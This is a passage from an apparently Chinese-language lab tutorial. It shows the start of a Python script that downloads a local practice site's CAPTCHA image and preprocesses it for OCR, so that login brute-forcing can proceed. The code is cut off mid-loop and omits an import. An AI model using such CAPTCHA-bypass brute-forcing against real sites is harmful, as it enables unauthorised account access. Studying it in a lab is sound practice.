实验环境:本地靶场
验证码错误时,服务器端会重新生成验证码,不能使用burpsuite进行暴力破解;
我们使用python脚本对验证码进行识别,然后进行暴力破解。
验证码图片识别:
from PIL import Image
import tesserocr
s = requests.session()
headers = {'User-Agent':'Mozilla/5.0'}
def getCode(): # 获取验证码
res = s.get('http://127.0.0.1/publish/showvcode.php?').content # 打开图片url返回图片二进制数据
with open('verify.jpg','wb') as v:
v.write(res) # 将二进制数据写入图片
# 重新打开生成的文件
image = Image.open('verify.jpg')
# 转灰色
image = image.convert('L')
# 二值化
threshold = 1
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append